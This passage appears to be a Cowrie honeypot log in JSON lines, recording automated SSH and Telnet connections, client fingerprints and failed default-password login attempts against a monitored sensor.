{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:59.364953Z","src_ip":"45.156.87.204","session":"3f9c27ba9538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:59.447849Z","src_ip":"45.156.87.204","session":"3f9c27ba9538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:59.860921Z","src_ip":"45.156.87.204","session":"3f9c27ba9538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.437424182891846,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:00.906864Z","src_ip":"152.42.224.71","session":"c29d55790ff8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:00.948582Z","src_ip":"45.156.87.204","session":"3f9c27ba9538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.632303953170776,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:01.803360Z","src_ip":"152.42.224.71","session":"4937df9ebcdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60062,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffe1541fbc26","protocol":"ssh","message":"New connection: 45.156.87.204:60062 (159.203.135.109:22) [session: ffe1541fbc26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:03.063201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:03.068817Z","src_ip":"45.156.87.204","session":"ffe1541fbc26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:03.151721Z","src_ip":"45.156.87.204","session":"ffe1541fbc26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:03.402535Z","src_ip":"45.156.87.204","session":"ffe1541fbc26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:04.488205Z","src_ip":"45.156.87.204","session":"ffe1541fbc26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60088,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2e9ca55f1c4","protocol":"ssh","message":"New connection: 45.156.87.204:60088 (159.203.135.109:22) [session: c2e9ca55f1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:06.584393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:06.588985Z","src_ip":"45.156.87.204","session":"c2e9ca55f1c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:06.674610Z","src_ip":"45.156.87.204","session":"c2e9ca55f1c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:06.923087Z","src_ip":"45.156.87.204","session":"c2e9ca55f1c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:08.007470Z","src_ip":"45.156.87.204","session":"c2e9ca55f1c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.88771104812622,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:09.122963Z","src_ip":"152.42.224.71","session":"39c7d879deda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.19101428985596,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:09.437891Z","src_ip":"152.42.224.71","session":"53d81c7d2443","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60116,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ce080adc6f0","protocol":"ssh","message":"New connection: 45.156.87.204:60116 (159.203.135.109:22) [session: 5ce080adc6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:10.442617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:10.446801Z","src_ip":"45.156.87.204","session":"5ce080adc6f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:10.528667Z","src_ip":"45.156.87.204","session":"5ce080adc6f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:10.776869Z","src_ip":"45.156.87.204","session":"5ce080adc6f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:11.862277Z","src_ip":"45.156.87.204","session":"5ce080adc6f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":38556,"dst_ip":"159.203.135.109","dst_port":22,"session":"38d708afec2a","protocol":"ssh","message":"New connection: 45.156.87.204:38556 (159.203.135.109:22) [session: 38d708afec2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:14.008849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:14.016998Z","src_ip":"45.156.87.204","session":"38d708afec2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:14.098741Z","src_ip":"45.156.87.204","session":"38d708afec2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:14.345089Z","src_ip":"45.156.87.204","session":"38d708afec2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:15.430402Z","src_ip":"45.156.87.204","session":"38d708afec2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41442,"dst_ip":"10.17.0.5","dst_port":23,"session":"122d1c3e53d2","protocol":"telnet","message":"New connection: 152.42.224.71:41442 (10.17.0.5:23) [session: 122d1c3e53d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:16.135941Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41452,"dst_ip":"10.17.0.5","dst_port":23,"session":"54c9b20fbd10","protocol":"telnet","message":"New connection: 152.42.224.71:41452 (10.17.0.5:23) [session: 54c9b20fbd10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:17.164011Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":38568,"dst_ip":"159.203.135.109","dst_port":22,"session":"60b6786325fc","protocol":"ssh","message":"New connection: 45.156.87.204:38568 (159.203.135.109:22) [session: 60b6786325fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:17.516824Z"}
{"eventid":"cowrie.session.closed","duration":26.90082836151123,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:17.544686Z","src_ip":"152.42.224.71","session":"b38982a0cfec","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:17.586018Z","src_ip":"45.156.87.204","session":"60b6786325fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:17.633867Z","src_ip":"45.156.87.204","session":"60b6786325fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:17.923041Z","src_ip":"45.156.87.204","session":"60b6786325fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:19.007480Z","src_ip":"45.156.87.204","session":"60b6786325fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":38578,"dst_ip":"159.203.135.109","dst_port":22,"session":"22f281c35487","protocol":"ssh","message":"New connection: 45.156.87.204:38578 (159.203.135.109:22) [session: 22f281c35487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:21.104495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:21.109692Z","src_ip":"45.156.87.204","session":"22f281c35487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:21.191910Z","src_ip":"45.156.87.204","session":"22f281c35487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:21.446329Z","src_ip":"45.156.87.204","session":"22f281c35487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:22.648368Z","src_ip":"45.156.87.204","session":"22f281c35487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41462,"dst_ip":"10.17.0.5","dst_port":23,"session":"eefd14be3ea0","protocol":"telnet","message":"New connection: 152.42.224.71:41462 (10.17.0.5:23) [session: eefd14be3ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:22.754403Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41478,"dst_ip":"10.17.0.5","dst_port":23,"session":"369cc4034961","protocol":"telnet","message":"New connection: 152.42.224.71:41478 (10.17.0.5:23) [session: 369cc4034961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:22.902869Z"}
{"eventid":"cowrie.session.closed","duration":38.65011286735535,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:23.482235Z","src_ip":"152.42.224.71","session":"4c9189800933","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33810,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a0b88c517e7","protocol":"ssh","message":"New connection: 45.156.87.204:33810 (159.203.135.109:22) [session: 2a0b88c517e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:24.604537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:32:24.609566Z","src_ip":"45.156.87.204","session":"2a0b88c517e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr